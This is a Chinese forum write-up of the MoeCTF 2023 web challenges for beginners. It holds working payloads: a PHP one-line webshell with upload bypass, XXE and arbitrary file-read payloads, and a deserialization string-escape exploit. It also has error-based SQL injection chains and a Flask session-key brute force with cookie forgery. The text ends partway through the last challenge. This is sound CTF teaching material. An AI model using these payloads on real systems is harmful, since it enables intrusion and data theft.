MoeCTF(Web篇)

君叹   ·   发表于 2023-10-02 00:16:57   ·   CTF&WP专版

MoeCtf Web篇

前言

MoeCtf是西电的新生赛,题目都比较基础,难度呈梯度上升,很适合新手入门的。
网站链接: https://ctf.xidian.edu.cn/



1 http

第一题进入之后可以看到以下内容

这道题需要我们了解http的各种常用请求
列举出了5个获取flag的条件

1 GET传参 UwU=u
2 POST传参 Luv
3 character需要是admin
4 请求需要来自127.0.0.1
5 需要使用 MoeBrowser 浏览器

前两个好解决
抓包修改参数

这里我们可以看到请求方式是get

我们右键界面
点击如下按钮

就可以更改包的请求方式

同时我们也注意到了cookie中有一个 character

根据题目的意思,是需要我们把这里修改为admin

cookie的作用不知道的同学可以搜一下
笼统的来说就是在这个网站的身份证,用来代表我们的身份的
这道题是为了让我们了解cookie传参
所以用了明文字符串
现在绝大部分网站的cookie都是经过加密的

修改数据包如下

发送
显示我们成功完成了前三个条件

第四个条件需要我们的ip是127.0.0.1,也就是本地地址

但是我们的ip肯定是不能变成对方电脑的本机ip的对吧
我们就要从其他方面入手
去想,对方的程序,是如何获取我们的IP的?
一般而言
在http请求中
获取请求者的IP一般是获取如下两个参数其中的一个
X-Forwarded-For
Client-ip
我们在请求头上加上一条
X-Forwarded-For: 127.0.0.1
这里需要注意,冒号后面要有一个空格,不然不符合http请求规范这条数据会被作废

第五个条件需要使用MoeBrowser浏览器

这里我们先不管这个浏览器存在不存在(我感觉是不存在)
跟上面一样,去了解一下程序如何判断请求者是用的什么浏览器的

程序获取访问者的浏览器是通过 User-Agent 的值的
也就是如下红框里面的东西


同上个条件,我们把这里的值改为 MoeBrowser 试试
还是同样的,冒号后面有一个空格
最后修改为如下样式
这里要注意,POST内容要和HTTP的请求头隔一行

然后就可以得到flag了

这道题考察的点在于HTTP的各种请求头

2 Web入门指北

这里非常贴心的准备了入门指南
内容我感觉是非常不错的
获取flag的话我们把文件拉到最下面

这里有一串16进制内容
我们复制粘贴到Winhex中(winhex在最下面的附件中)

打开winhex后
点击文件->新建

这里随便写个数

然后选中红框中任意一个位置
CTRL + V 粘贴刚刚复制的内容
这里要选择 ASCII Hex

出现以下内容

可以看到是一串base64编码
这里有经验了就可以看的出来
一般而言末尾有等于号的都是base64编码(这里原因可以去看下base64的编码原理),当然末尾没有等于号也不一定不是base64
使用burp的decoder模块进行解码

当然,我们也可以搜索在线网站
hex编码也可以使用在线网站
但是我正好开着burp,这样比较方便

这道题没有考察的点(bushi)


3 彼岸的flag

进去之后是一个聊天框,有一段聊天记录还能发送信息

翻一遍之后除了发现云之君是学姐(bushi)之外没有其他发现
Ctrl + U 查看网页源代码
搜索moectf

即可获得flag

这道题考察的点在于渗透时可以看看网页源代码,说不定会有意外收获


4 cookie

题目提供了一个附件
下载来看看

这里说是一些api说明

可以看得出来
需要我们传入json数据,我们先直接访问一下 /flag 看看

上面提示,你需要登录获取flag

根据api中的说明,我们可以访问 /register 注册用户
抓包
还是像http那道题说的一样
先转换为post数据包,因为提示信息中也说了要使用POST请求方式

界面显示ok

再去登录

也ok了

我们再去访问 /flag

他说我们不是 admin
我们注意到我们的请求头中有这么一条

尝试把它改成 admin
但是没有效果

后面的token看起来像是base64编码后的内容(虽然没有等于号,但是上面也说了,没有等于号也不一定不是base64)

解码后看到有一个role参数的值是 user
我们尝试把其中的user改成admin
然后再经过base64编码后当做token值传入

成功获取 flag

这道题考察的点是 POST 传参,json和 cookie 的编码解码
但是这里同样也跟真实环境有很大区别
真实环境的cookie是经过加密的,也就是通过密钥,没有这串密钥是无法解密的
不会像这里只是一个简单的编码


5 gas!gas!gas!

这道题就得写脚本了
我们先随便提交一个参数


弹出来,弯道向右,抓地力太大了
再根据上面的提示信息
看第一条

  1. 油门大轮胎转速高空转,抓地力就小,反之抓地力大
    这里解读就是,油门大 对应 抓地力小,油门小 对应 抓地力大
    油门控制有三个选项

全开,保持,放开

那这里的话就是告诉我
如果提示抓地力大,油门要全开
抓地力小油门要放开
否则就保持
方向控制的话就是左右直三个选项

第三个条件,需要在0.5秒中反应
这里如果尝试提交可能偶尔能碰到0.5秒
但是经常会出现 太慢了,再试试吧
需要我们写个脚本

这里我们提交参数后URL没有变化
猜测提交内容提交的是post数据(这里也可以F12查看表单直接看到是POST方式传输)

看到如下参数

我们在网页F12
点击这个按钮

然后再点击那个框框

可以看到这段的 html 代码

这两段select标签就是下拉菜单
我们点击左边的小三角展开其中的内容

标签的 name 是post传参名字
根据上面的图片
如果 steering_control 的值是 -1 就是左
0 -> 直行
1 -> 右

throttle的值
0 松开
1 保持
2 全开

根据上面的内容我们写脚本

代码如下

  1. # -*- coding: utf-8 -*-
  2. # <span>@Time</span> : 2023/10/1 22:54
  3. # <span>@Author</span> : 君叹
  4. # <span>@File</span> : gas!gas!.py
  5. import requests # requests 是一个外置库,需要安装
  6. import re # python内置库,用于正则表达式
  7. # 安装命令 pip install requests
  8. sess = requests.session() # 创建一个 session 会话
  9. # 因为这里自从第一次请求之后
  10. # 服务端会给一个 cookie 用于记录当前状态
  11. # 我们在下一次请求的时候需要带上这个cookie
  12. # 否则的话下一次请求就会被当做第一次请求来看待
  13. # 就不会被当做是连续的请求
  14. # 这里需要我们连续5次进行一个正确的输入
  15. # 用 requests 模块中的 session 可以保持我们的状态
  16. fangxiang = { # 这里注意,方向是反打的
  17. "左": "1",
  18. "直行": "0",
  19. '右': "-1"
  20. }
  21. youmen = {
  22. "太大": "2",
  23. "太小": "0",
  24. "保持": "1"
  25. }
  26. url = "http://localhost:12921/"
  27. post_data = {
  28. "driver": 'aaa',
  29. "steering_control": 0,
  30. "throttle": 2
  31. }
  32. com = re.compile('<font color="red">.*?</font>') # 创建一个正则表达式对象
  33. while True: # 这里一直循环
  34. res = sess.post(url, data=post_data) # 这里创建一个 post 请求,请求的post数据是是上面定义的 post_data 字典
  35. try:
  36. text = com.search(res.text).group() # 这里调用正则表达式,去匹配那些红字
  37. for i in fangxiang: # 遍历 fangxiang 的键
  38. if i in text: # 如果 键(比如 左) 存在于这个字符串中
  39. post_data['steering_control'] = fangxiang[i] # 那么就修改post数据中 steering_control 的值为 fangxiang['左'] 也就是1
  40. break
  41. for i in youmen: # 理论同上
  42. if i in text:
  43. post_data['throttle'] = youmen[i]
  44. break
  45. except: # 如果报错,就说明匹配不到红字了,匹配不到红字就说明出flag了,打印请求的响应体
  46. print(res.text)
  47. break

运行完代码后得到flag

本题的考点在于需要我们学会写python脚本
方向反打这个不注意一下的话真的是很迷惑人


6 moe图床

打开页面是一个上传界面

这里有一个前端限制和一个后端限制
后端限制的检测机制是检测文件名从左往右数第一个.后面的东西是不是 png 三个字符
访问 /upload.php 可以看到源码

其中,绕过的逻辑在于第19,22行,19行以 . 为分隔符将文件名分割为一个数组后,判断这个数组的长度是否大于等于二,如果不大于,直接返回错误,如果大于或等于2,那么就去判断这个数组的下标为1的元素是不是 png

这里假设我们传入的是 1.png
就会变成 这样一个数组 [1, png]
22行拿到这个数组的下标为1的元素

程序通过这样的逻辑判断我们是否上传的是一个Png文件
很显然是可以绕过的
我们传入 1.png.php
会被变成数组 [1, png, php]
但是22行仍旧是获取下标为1的元素,拿到的仍旧是 png
这里对程序进行改进的话可以获取最后一个元素判断是否是png,
或者将大于等于2修改为小于等于2(这个地方可能是出题人故意犯的错,从而产生文件上传漏洞,并且在真实开发中,程序员在过度劳累之后也可能会不小心敲错一下从而产生漏洞)

前端检测更加严格,要求后缀名必须是png(前端检测等于没有检测,所以严格也没什么用)
前端检测需要后缀名必须是 .png

我们在桌面上创建一个一句话木马
先创建一个
2.txt
里面写入

  1. <?php @eval($_REQUEST[7]);?>

保存后退出
更改名称为
2.png

上传截包

然后把文件名更改为 2.png.php

访问文件

这里可以用菜刀蚁剑之类的连接
我这里就直接用get传参拿flag了
我的密码设置的是7
传参
?7=system(‘ls /‘);
查看根目录下的文件

发现flag文件
?7=system(‘cat /flag’)
得到flag

这道题的考点在于文件上传的一些黑名单绕过


7 了解你的座驾

题目进来之后是这样一个界面

左侧最下面有一个Flag字样
点击查看

这里显示flag在根目录

然后我们随便选一个然后抓包分析

这里我们很明显可以看到xml字样
试试把这段解码

存在xml标记

尝试一下XXE

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE test [
  3. <!ENTITY xxe SYSTEM "file:///flag">
  4. ]>
  5. <xml><name>&xxe;</name></xml>

burp中我们可以看到内容被Url编码了
这里我尝试过,如果不url编码直接传入会报错

得到Flag

这道题考察的点就是XXE


8 大海捞针

题目给出提示信息,访问 id 1-1000
flag就在其中的一个 id 里面

有两种方法

burp跑包

直接查看哪个包长度不一样
burp截包

ctfl+i发送到爆破模块
或者右键点击

设置好要爆破的参数

payload里设置爆破参数为 number

设置如下参数

from 是从几开始
to 是到几结束
step 是步长

然后点击右上角按钮开始爆破

跑完后(或者跑的时候)选择按照返回包长度排序

能够查看到一个长度明显不一样的包,id值是163
选中后按照如下步骤,查看返回包的 html 代码

搜索
moectf{

我这里因为编码问题没有显示出字母m
自己补上即可

或者也可以访问id=163,ctrl+u自己在页面上看源代码
就不存在编码问题了,因为网页会根据html代码设置的页面自动调整使用什么编码方式进行解码

写脚本跑

这里给出python脚本

  1. # -*- coding: utf-8 -*-
  2. # @Time : 2023/10/8 15:14
  3. # @Author : 君叹
  4. # @File : exp.py
  5. import requests
  6. import re
  7. com = re.compile("moectf{")
  8. for i in range(1,1001):
  9. res = requests.get(f"http://101.42.178.83:7771/?id={i}")
  10. if com.search(res.text) is not None:
  11. print(i)
  12. print(res.text)
  13. break

效果如下


然后再下面的回显框里搜索 moectf{
点一下那个框框,然后按CTRL+F

本题的考点在于爆破


9 meo图床

也是一个文件上传

尝试访问 upload.php(依据是因为上面的文件上传有,这里直接试试,不行的话就抓一下上传的数据包,看看上传的文件被发送到哪里)

文件存在,但是不像上一次会回显内容了

这道题上传一个图片马即可(没有什么理论依据,就是按照文件上传的多种绕过方式一个一个尝试)
如果目标允许上传GIF图片
直接在一句话木马的前面加上 GIF89a 这个字符串即可(有一些程序对木马的检测更为严格需要更严谨的手段绕过),但是这里只检测文件头,GIF文件的文件头就是GIF89a
为什么png和jpg不能直接这样加字符
他们的文件头中有不可见字符
用png举例,png的文件头的16进制是 89504e47
因为 89 是一个不可见字符

手打打不出来
需要用其他方法去制作
可以百度搜一下图片马制作
GIF的方便,手打就行

截包修改,注意GIF89a的大小写

点击查看

这里并不是直接访问图片文件,这里是通过一个php文件进行一个 file_put_contents() 函数读取文件内容,然后返回
我们尝试传入一个错误的文件名

这里直接显示出来了文件的路径
但是存储文件的路径在 ../uploads 下
而images.php在 /var/www/html/下

能够看的出来,木马的路径并不在 web 路径下
没办法直接访问到

同时,这里存在任意文件读取漏洞
尝试一下传入 ../../../etc/passwd

显示文件错误
但是我们可以用burp的Repeater模块去访问
理一下逻辑
内容因为没有被正确解读为图片而报错
但是内容还是读取了的

php程序->读取 /etc/passwd -> 返回前端 -> 前端尝试将内容解读为图片 -> 解读失败报错

这里能看得出来,内容被读取出来并且返回给前端了
所以用burp能看到内容
因为burp不会尝试解读什么的

确实存在任意文件读取
一般来说,flag要么在当前目录的 flag.php
要么在根目录下的 flag 文件
都试着访问一下

根目录的 flag 文件能够读到

内容中有一条提示
Fl3g_n0t_Here_dont_peek!!!!!.php

那个文件名翻译一下是
flag not here dont peek
flag不在这里,不要偷看

访问一下这个文件

解读一下代码

  1. isset($_GET['param1']) >> isset($_GET['param2'])

get传参要存在 param1 和 param2

  1. if ($param1 !== $param2)

他俩不能相等

  1. if ($md5Param1 == $md5Param2)

他俩的md5值得相等

这里尝试数组绕过
传入payload:

  1. ?param1[]=1 > param2[]=2

成功拿到flag

还有一种方法
科学计数法绕过
传入payload:

  1. ?param1=QNKCDZO > param2=240610708

本题考点 php文件上传图片马,php弱类型比较


10 夺命十三枪

打开题目看到如下代码

解读一下逻辑
如果 get 传参中存在 chant 参数
$Chant=$_GET[‘chant’];
如果不存在
$Chant=’夺命十三枪’;

然后将他作为参数
创建了一个类 Omg_It_Is_So_Cool_Bring_Me_My_Flag
对象实例化为变量 $new_visitor

将这个刚实例化的对象序列化赋值给 $before
然后再调用 Deadly_Thirteen_Spears类 的静态方法 Make_a_Move 去处理 $before
将处理后的结果赋值给 $after

然后将 $after 反序列化

可以看得出来,这道题需要我们利用反序列化漏洞

访问 Hanxin.exe.php 看看能不能看到定义类的代码

能看到

两个类一个一个解读
先看 Omg_It_Is_So_Cool_Bring_Me_My_Flag

定义了两个类属性, $Chant 和 $Sper_Owner
初始化方法接收参数 $chant
将其赋值给 属性 Chant
属性也是变量,只不过是类的变量,管他叫属性
Sper_Owner有一个初始值 ‘Nobody’
在类初始化的时候也会将Nobody再次赋值给 Sper_Owner

  1. class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
  2. public $Chant = '';
  3. public $Spear_Owner = 'Nobody';
  4. function __construct($chant){
  5. $this->Chant = $chant;
  6. $this->Spear_Owner = 'Nobody';
  7. }
  8. function __toString(){
  9. if($this->Spear_Owner !== 'MaoLei'){
  10. return 'Far away from COOL...';
  11. }
  12. else{
  13. return "Omg You're So COOOOOL!!! " . getenv('FLAG');
  14. }
  15. }
  16. }

再看下面的 __toString() 方法
在类被当做字符串处理的时候调用
判断 Sper_Owner 是否等于 MaoLei
如果是,就输出flag

回到原本index的代码
有一行
echo unserialize($after);
也就是被反序列化之后会被echo
这个方法肯定会被调用

那么接下来我们要考虑的就是
如果让它反序列化之后
Spear_Owner的值是 Maolei

查看一下类序列化后的样子

  1. O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

我们可以控制的点是 夺命十三枪那里
也就是我们可以把夺命十三枪切换成任意字符串

那么思考如下
我们传入数据为

  1. 夺命十三枪";s:11:"Sper_Owner";s:6:"Nobody";}

这样构造出来的内容就是

  1. O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Sper_Owner";s:6:"Nobody";}";s:11:"Spear_Owner";s:6:"Nobody";}

后面原本的字符会被挤兑出去,反序列化的时候不会读取那些东西
这样就达到了我们的目的
但是理想很丰满,现实很骨感
实际上
构造出来的内容长这样

  1. O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:49:"夺命十三枪";s:11:"Sper_Owner";s:6:"Nobody";}";s:11:"Spear_Owner";s:6:"Nobody";}

可以观察出来有哪里不同吗

夺命十三枪前面的数字不同了

那个数字表示着,反序列化时
要从这个位置开始


也就是这个双引号后面

读取这么多个字符

然后碰到下一个双引号结束

但是这个数字我们没办法直接改变
这时候去看一下
Deadly_Thirteen_Spears::Make_a_Move() 这个静态方法

其内容就是,将传入的字符串中的
di_yi_qiang 转换为 Lovesickness
di_er_qiang 转换为 Heartbreak
就是把那个数组左边的东西换成右边的

  1. class Deadly_Thirteen_Spears{
  2. private static $Top_Secret_Long_Spear_Techniques_Manual = array(
  3. "di_yi_qiang" => "Lovesickness",
  4. "di_er_qiang" => "Heartbreak",
  5. "di_san_qiang" => "Blind_Dragon",
  6. "di_si_qiang" => "Romantic_charm",
  7. "di_wu_qiang" => "Peerless",
  8. "di_liu_qiang" => "White_Dragon",
  9. "di_qi_qiang" => "Penetrating_Gaze",
  10. "di_ba_qiang" => "Kunpeng",
  11. "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
  12. "di_shi_qiang" => "Overlord",
  13. "di_shi_yi_qiang" => "Letting_Go",
  14. "di_shi_er_qiang" => "Decisive_Victory",
  15. "di_shi_san_qiang" => "Unrepentant_Lethality"
  16. );
  17. public static function Make_a_Move($move){
  18. foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
  19. $move = str_replace($index, $movement, $move);
  20. }
  21. return $move;
  22. }
  23. }

那么,这有什么用呢?
我们可以注意到,这个数组的每个键值对
左右两边的数量并不相同
现在假设,我们传入

  1. di_yi_qiang";s:11:"Sper_Owner";s:6:"Maolei";}

那么最后会变成

  1. O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:45:"Lovesickness";s:11:"Sper_Owner";s:6:"Maolei";}";s:11:"Spear_Owner";s:6:"Nobody";}

我们注意到,s后面的这个数字,对不上了

  1. Lovesickness";s:11:"Sper_Owner";s:6:"Maolei";}

这些内容的长度是46,并不是45

那么由此,我们就可以构想出一个思路
我们使用

  1. di_yi_qiangdi_er_qiang

这些字符串
经过转换后字符串的长度
也就是

  1. LovesicknessHeartbreak

等于

  1. di_yi_qiangdi_er_qiang";s:11:"Sper_Owner";s:6:"Maolei";}

的长度
这样,我们后面的

  1. s:11:"Sper_Owner";s:6:"Maolei";

就会被反序列化为 Sper_Owner 属性
从而达成 字符逃逸

经过测试
payload如下

  1. di_jiu_qiangdi_shi_er_qiangdi_shi_san_qiangdi_qi_qiangdi_san_qiangdi_si_qiangdi_si_qiangdi_er_qiangdi_er_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

这段payload中的

  1. di_jiu_qiangdi_shi_er_qiangdi_shi_san_qiangdi_qi_qiangdi_san_qiangdi_si_qiangdi_si_qiangdi_er_qiangdi_er_qiang

会被转换为

  1. Night_Parade_of_a_Hundred_GhostsDecisive_VictoryUnrepentant_LethalityPenetrating_GazeBlind_DragonRomantic_charmRomantic_charmHeartbreakHeartbreak

而这些内容的长度为145

  1. Night_Parade_of_a_Hundred_GhostsDecisive_VictoryUnrepentant_LethalityPenetrating_GazeBlind_DragonRomantic_charmRomantic_charmHeartbreakHeartbreak

payload的长度也是145

  1. di_jiu_qiangdi_shi_er_qiangdi_shi_san_qiangdi_qi_qiangdi_san_qiangdi_si_qiangdi_si_qiangdi_er_qiangdi_er_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

最后得到的字符串为

  1. O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:145:"Night_Parade_of_a_Hundred_GhostsDecisive_VictoryUnrepentant_LethalityPenetrating_GazeBlind_DragonRomantic_charmRomantic_charmHeartbreakHeartbreak";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

不难观察出,我们已经把原本的

  1. ";s:11:"Spear_Owner";s:6:"Nobody";}

挤兑出去了

get传参传入

  1. ?chant=di_jiu_qiangdi_shi_er_qiangdi_shi_san_qiangdi_qi_qiangdi_san_qiangdi_si_qiangdi_si_qiangdi_er_qiangdi_er_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

即可获得flag
payload不唯一

本题考点在于 反序列化字符逃逸


11 signin

题目给了一个 python代码 的附件(文件在文章末尾可以下载)

我们这里就不逐步分析了,说一下重要部分的思路
有必要的话后面会发一篇对代码详细解释的文章

其中需要注意的几点,第一行导入模块
from secrets import users, salt
这里并不是说真的有一个python模块叫 secrets
不需要我们真的去下载这个模块
这个模块是自己创建的一个python文件
内容长这样

同时,salt是自定义的盐值,真实环境中的salt我们并不能知道
这里是我随便写的

但是 users 肯定是这个内容
(有个前提,就是环境运行的代码真的是发给我们的这个代码,有些题目并不会发送真实代码出来,这一点要注意,但是本题中确实是真实代码)

同理,下面打开的flag.txt在本地进行白盒测试的时候也要自己创建,目的是为了让代码能正常运行不报错

下面创建的类是一个网站对象,根据请求的内容返回响应的逻辑返回值
直接看 do_POST 的内容

首先判断访问的路径是不是 /login


是的话创建一个 body 变量,内容是 post 的内容
就是post传了什么,这里body就是什么

随后 payload = json.loads(body)
也就是将 post 内容当做 json 对象去读取
读取后
params = json.loads(decrypt(payload["params"]))

就是把 json 数据中的 params 对应的值拿出来,用 decrypt() 函数进行处理
处理后,再当做 json 数据读取后赋值给 params

这里decrypt() 是一个自定义函数,其内容是 5 次 base64 解码

随后有两个 if
从 params 中会获取两个键
username 和 password
第一个 if 要求我们传入的username不能是 “admin”
否则抛出 403

第二个if要求我们传入的 username 和 password 不能相同
否则也抛出403

当满足了上面两个条件之后,会将 username 和 password 的值用
gethash() 函数处理后赋值给 hashed

gethash()也是一个自定义函数,这个地方比较关键,这里还是说一下

函数接收一个不定长传参 items,括号里面我们传入多个数据会被组合成一个列表赋值给items

  1. def gethash(*items):
  2. c = 0
  3. for item in items:
  4. if item is None:
  5. continue
  6. c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(),
  7. "big") # it looks so complex! but is it safe enough?
  8. return hex(c)[2:]

假设我们给函数传入了
gethash(‘a’,’b’,’c’)
itmes 就变成了 [‘a’, ‘b’, ‘c’]
或许底层不是以列表形式存储
但是大致可以这么去理解

然后定义了变量 c = 0

循环遍历 items
如果某个值是空值(None),就跳过循环,看下一个值

后面的内容大致就是,将 salt 和 item 和 salt 三个变量组合成一个字符串
将其视为大端字节读取成数字
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}{salt}".encode()).digest(),"big")

变成数字后再跟 c 进行异或运算
也可以看下ai的解释,只看前半段就行了

这里漏洞点就在于,不管 item 是什么,统一当做字符串去处理

我们再继续看do_POST()的代码

  1. hashed = gethash(params.get("username"), params.get("password"))
  2. for k, v in hashed_users.items():
  3. if hashed == v:
  4. data = {
  5. "user": k,
  6. "hash": hashed,
  7. "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
  8. }

看一下遍历的 hashed_users 是什么

这里是通过gethash()函数创建的字典变量
看一下效果

这里得到的 {‘admin’:’0’} 是固定的
查看这两段代码即可得知

  1. assert "admin" in users
  2. assert users["admin"] == "admin"

assert 在python中叫做断言
如果 assert 后面的表达式返回 False 就会终止程序运行并抛出错误
对方程序运行的代码中如果也有这两行
还能跑起来
就说明在 users 中
一定有有个键值对都是 “admin”

继续看do_POST()

for k,v in hashed_users.itmes()
因为我们已经知道
hashed_users中的 ‘admin’ 的值是 ‘0’
通过刚刚的代码测试得到的
代码学得好的同学也可以自己理解一下代码逻辑

那么这样就得到结论
我们要让 hashed 等于 0
经过gethash()函数处理
想要让最后的值是 0
只有传入的两个值一样的情况下才可以满足
但是这里的逻辑告诉我们传入的两个值不能一样

想想刚刚提到的漏洞点
不论传入什么
都会被当做字符串处理
也就是说
在 json 中
我传入 username 等于数字1
password等于字符串1
因为python是强类型语言

他们是不相等的
但是到了 gethash() 函数中
不管传入的东西是什么
都会被当做字符串处理
那么这时候
数字1也就被当做字符串1处理了

所以我们只需要让”username”=”1”,”password”=1
即可

同时要注意
params会被 5 次 base64 解码
所以传入的时候要进行5次base64编码

  1. import base64
  2. def decrypt(data: str):
  3. for x in range(5):
  4. data = base64.b64encode(data.encode()).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
  5. return data
  6. print(decrypt('{"username":"1","password":1}'))

得到字符串
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0=
构造json数据

  1. {
  2. "params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0="
  3. }

当做POST数据传入
即可得到flag

payload

{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0="}

本题的考点在于去读懂python代码并找到其中的逻辑漏洞


12 出去旅游的心海

点击题目给的连接后进入如下界面

点击flag后看到 not-flag
本题flag在数据库中(最后测出来的,中途以为要拿web shell)
我们继续

点击 wordpress 进入网页
众所周知, wordpress 可以自己开发插件
页面上也提示了博主自己开发了一个小插件
会把来访者的信息记录到 数据库 里

我们也能看到右边显示出来了我们访问目标的公网 ip,地区等信息

抓个包看看

第二个数据包是请求 ip-api.com 通过这个api获取来访者的信息

第三个数据包将来访者的信息发送到后端 /wordpress/wp-content/plugins/visitor-logging/logger.php 去处理

我们访问一下这个路径

可以看到如下内容
其中关键的几点是 ip,user_agent,time都会被记录到数据库
代码是chatgpt写的
最后一行报错数据插入失败

数据插入失败,那很有可能是sql语句出错(这里的报错是因为我直接访问没有带那几个参数)
把这句单拎出来

  1. $query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

$time没有被引号包起来
我们可以猜想
$time 是一个时间型变量
这种变量在插入的时候需要用引号包裹
那么会不会是这个原因导致的语句报错?

接下来我们使用 burp 的Repeter模块进行测试

将下面这个数据包 ctrl+r 发送到 Repeater 模块

go一下,返回结果如下图所示

我们可以自己给$time加一个引号上去
查看是否报错

能够成功执行

那么接下来的思路就是 报错注入,盲注
先尝试报错注入,因为报错注入能够直接回显内容

payload如下

  1. '2023-10-09 14:09:00' and updatexml(1,concat('~', database()),1)

成功回显出库名

接下来尝试表名
payload如下

  1. '2023-10-09 14:09:00' and updatexml(1,concat('~', (select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

这里没有回显出我们想要的数据,而是产生了另一个报错

这里报错数据类型无法正常转换
这个报错级别优先于我们的updatexml()语句的报错
那么就要想办法让我们的updatexml()语句的报错优先级别更高
产生报错的原因我没想明白,但是解决思路就是上面说的这样

原本的 and 是先判断左面再判断右边(or也一样)
这里报错大概是在数据执行插入的时候,需要进行一个类型转换
也就是 and 后面的东西并没有被先判断,而是先执行了将左面的数据进行类型转换
那我们就用concat()将他们连接在一起
这样数据插入的逻辑就变成了
拼接时间数据和updatexml()语句的返回值
然后再将拼接后的内容进行类型转换
这时候就会优先产生我们想要的报错了

payload如下

  1. concat('2023-10-09 14:09:00', updatexml(1,concat('~', (select table_name from information_schema.tables where table_schema=database() limit 0,1)),1))

能够正常回显,表名是 secret_of_kokomi

查看一下这张表里的内容

payload如下

  1. concat('2023-10-09 14:09:00', updatexml(1,concat('~', (select column_name from information_schema.columns where table_schema=database() and table_name='secret_of_kokomi' limit 0,1)),1))

得到两个字段名
id, content

查看一下content的内容
payload如下

  1. concat('2023-10-09 14:09:00', updatexml(1,concat('~', (select content from secret_of_kokomi limit 0,1)),1))

第三个数据显示出来半段 flag

这里很有可能会以为有两段flag,转身去想办法进后台什么的
但是这里只是因为一次显示的数据有限
要用substr()去分段

payload如下

  1. concat('2023-10-09 14:09:00', updatexml(1,concat('~', substr((select content from secret_of_kokomi limit 2,1),25,30)),1))

即可获得后半段flag


13 moeworld

题目如下,这里文件里说了不让泄露环境,环境的ip均已打码

一 外网打点

访问题目链接是一个登录界面
可以注册
先注册一个账号登录进去看看

这里有两条提示
提示1给出了salt的组成
提示2说了留言板是互动玩的,不用尝试XSS

那么思路就很明显了,破解session,获取管理员权限,这是第一步
F12点击存储,查看一下我们的cookie

  1. eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFhYSJ9.ZSQQtQ.dAiCLwaA4flnjD8IvQhELHo4qCQ

关于盐值的破解,拿网上某位大佬开发的 flask_session_cookie_manager.py 的内容改一改
源脚本地址:https://github.com/noraj/flask-session-cookie-manager
脚本我也会在附件中给出
源脚本的功能是通过指定的盐值,对明文/密文进行加密/解密

修改后如下

  1. # -*- coding: utf-8 -*-
  2. # @Time : 2023/9/28 15:41
  3. # @Author : 君叹
  4. # @File : 盐值破解2.py
  5. import sys
  6. import zlib
  7. from itsdangerous import base64_decode
  8. import ast
  9. from abc import ABC, abstractmethod
  10. # Lib for argument parsing
  11. import argparse
  12. # external Imports
  13. from flask.sessions import SecureCookieSessionInterface
  14. class MockApp(object):
  15. def __init__(self, secret_key):
  16. self.secret_key = secret_key
  17. class FSCM(ABC):
  18. def encode(secret_key, session_cookie_structure):
  19. """ Encode a Flask session cookie """
  20. try:
  21. app = MockApp(secret_key)
  22. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  23. si = SecureCookieSessionInterface()
  24. s = si.get_signing_serializer(app)
  25. return s.dumps(session_cookie_structure)
  26. except Exception as e:
  27. return "[Encoding error] {}".format(e)
  28. raise e
  29. def decode(session_cookie_value, secret_key=None):
  30. """ Decode a Flask cookie """
  31. try:
  32. if (secret_key == None):
  33. compressed = False
  34. payload = session_cookie_value
  35. if payload.startswith('.'):
  36. compressed = True
  37. payload = payload[1:]
  38. data = payload.split(".")[0]
  39. data = base64_decode(data)
  40. if compressed:
  41. data = zlib.decompress(data)
  42. return data
  43. else:
  44. app = MockApp(secret_key)
  45. si = SecureCookieSessionInterface()
  46. s = si.get_signing_serializer(app)
  47. return s.loads(session_cookie_value)
  48. except Exception as e:
  49. return "[Decoding error] {}".format(e)
  50. raise e
  51. cookie_value = "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFhYSJ9.ZSQQtQ.dAiCLwaA4flnjD8IvQhELHo4qCQ"
  52. for i in range(0x1, 0xffff):
  53. salt = hex(i)[2:]
  54. salt = salt.rjust(4, '0')
  55. secret_key = "This-random-secretKey-you-can't-get" + salt
  56. s = FSCM.decode(cookie_value, secret_key)
  57. if 'error' in s:
  58. continue
  59. print(s, secret_key)

运行结果如下
前面的是破解出的内容,后面的是salt(盐值,也是session的密钥)

我们将字符串修改为

  1. {'power': 'admin', 'user': 'aaa'}

再用脚本进行加密

命令:

  1. python .\flask_session_cookie_manager.py encode -s "This-random-secretKey-you-can't-getc47c" -t "{'power': 'admin', 'user': 'aaa'}"

结果:

